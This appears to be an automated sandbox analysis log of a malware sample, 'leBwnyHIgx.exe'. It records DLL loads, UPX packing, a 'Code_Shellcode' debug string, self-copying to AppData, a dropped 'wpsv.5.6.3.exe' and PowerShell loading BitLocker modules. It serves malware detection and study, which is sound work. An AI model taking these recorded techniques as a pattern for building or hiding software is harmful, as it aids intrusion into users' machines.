Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: leBwnyHIgx.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: leBwnyHIgx.exe

Static file information: File size 2581432 > 1048576

Source: leBwnyHIgx.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x258200

Source: leBwnyHIgx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.1806539404.0000000006E55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \Release\Code_Shellcode.pdb source: leBwnyHIgx.exe, leBwnyHIgx.exe, 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000005.00000002.4133424072.0000000000D90000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: \Release\Code_Shellcode.pdb,''GCTL source: leBwnyHIgx.exe, 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000005.00000002.4133424072.0000000000D90000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdbu source: powershell.exe, 0000000B.00000002.1806539404.0000000006E91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.1806539404.0000000006E4E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb0 source: powershell.exe, 0000000B.00000002.1810597919.0000000007F34000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.1810597919.0000000007F34000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb{/; source: powershell.exe, 0000000B.00000002.1806539404.0000000006E4E000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_03077490 wsprintfW,LoadLibraryW,GetProcAddress,MultiByteToWideChar,swprintf,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,FreeLibrary,

5_2_03077490

Source: leBwnyHIgx.exe.0.dr	Static PE information: real checksum: 0x280db4 should be: 0x276fb6
Source: leBwnyHIgx.exe	Static PE information: real checksum: 0x280db4 should be: 0x276fb6

Source: leBwnyHIgx.exe	Static PE information: section name: .didata
Source: leBwnyHIgx.exe.0.dr	Static PE information: section name: .didata

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0063B070 push ecx; mov dword ptr [esp], ecx	0_2_0063B075
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_005DE0D8 push ecx; mov dword ptr [esp], ecx	0_2_005DE0DC
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0047A268 push ecx; mov dword ptr [esp], ecx	0_2_0047A26C
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00432368 push ecx; mov dword ptr [esp], edx	0_2_0043236B
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00415334 push ss; retf	0_2_004153F8
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0040D570 push ecx; mov dword ptr [esp], eax	0_2_0040D575
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0040E5E0 push 0040E663h; ret	0_2_0040E65B
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0040A5A0 push ecx; mov dword ptr [esp], edx	0_2_0040A5A1
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00479670 push ecx; mov dword ptr [esp], ecx	0_2_00479675
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_004216D8 push ecx; mov dword ptr [esp], ecx	0_2_004216DB
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00421714 push ecx; mov dword ptr [esp], ecx	0_2_00421718
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00410734 push ecx; mov dword ptr [esp], edx	0_2_00410735
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_004C5794 push ecx; mov dword ptr [esp], edx	0_2_004C5795
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00410868 push ecx; mov dword ptr [esp], ecx	0_2_0041086D
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_004FACA0 push ecx; mov dword ptr [esp], eax	0_2_004FACA3
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0042CE20 push ecx; mov dword ptr [esp], edx	0_2_0042CE22
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0047BF34 push ecx; mov dword ptr [esp], edx	0_2_0047BF35
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_100172C7 push eax; ret	0_2_100172C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04A0629D push eax; ret	3_2_04A06351
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0063B070 push ecx; mov dword ptr [esp], ecx	5_2_0063B075
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_005DE0D8 push ecx; mov dword ptr [esp], ecx	5_2_005DE0DC
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0047A268 push ecx; mov dword ptr [esp], ecx	5_2_0047A26C
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00432368 push ecx; mov dword ptr [esp], edx	5_2_0043236B
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00415334 push ss; retf	5_2_004153F8
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0040D570 push ecx; mov dword ptr [esp], eax	5_2_0040D575
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0040E5E0 push 0040E663h; ret	5_2_0040E65B
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0040A5A0 push ecx; mov dword ptr [esp], edx	5_2_0040A5A1
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00479670 push ecx; mov dword ptr [esp], ecx	5_2_00479675
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_004216D8 push ecx; mov dword ptr [esp], ecx	5_2_004216DB
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00421714 push ecx; mov dword ptr [esp], ecx	5_2_00421718
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00410734 push ecx; mov dword ptr [esp], edx	5_2_00410735

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	File created: C:\Users\user\Downloads\wpsv.5.6.3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	File created: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\wpsv.5.6.3[1].exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0063E56C IsIconic,GetWindowLongW,GetWindowLongW,GetActiveWindow,SetActiveWindow,	0_2_0063E56C
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_005B261C IsIconic,GetWindowLongW,GetWindowLongW,GetActiveWindow,MessageBoxW,SetActiveWindow,	0_2_005B261C
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0063E56C IsIconic,GetWindowLongW,GetWindowLongW,GetActiveWindow,SetActiveWindow,	5_2_0063E56C
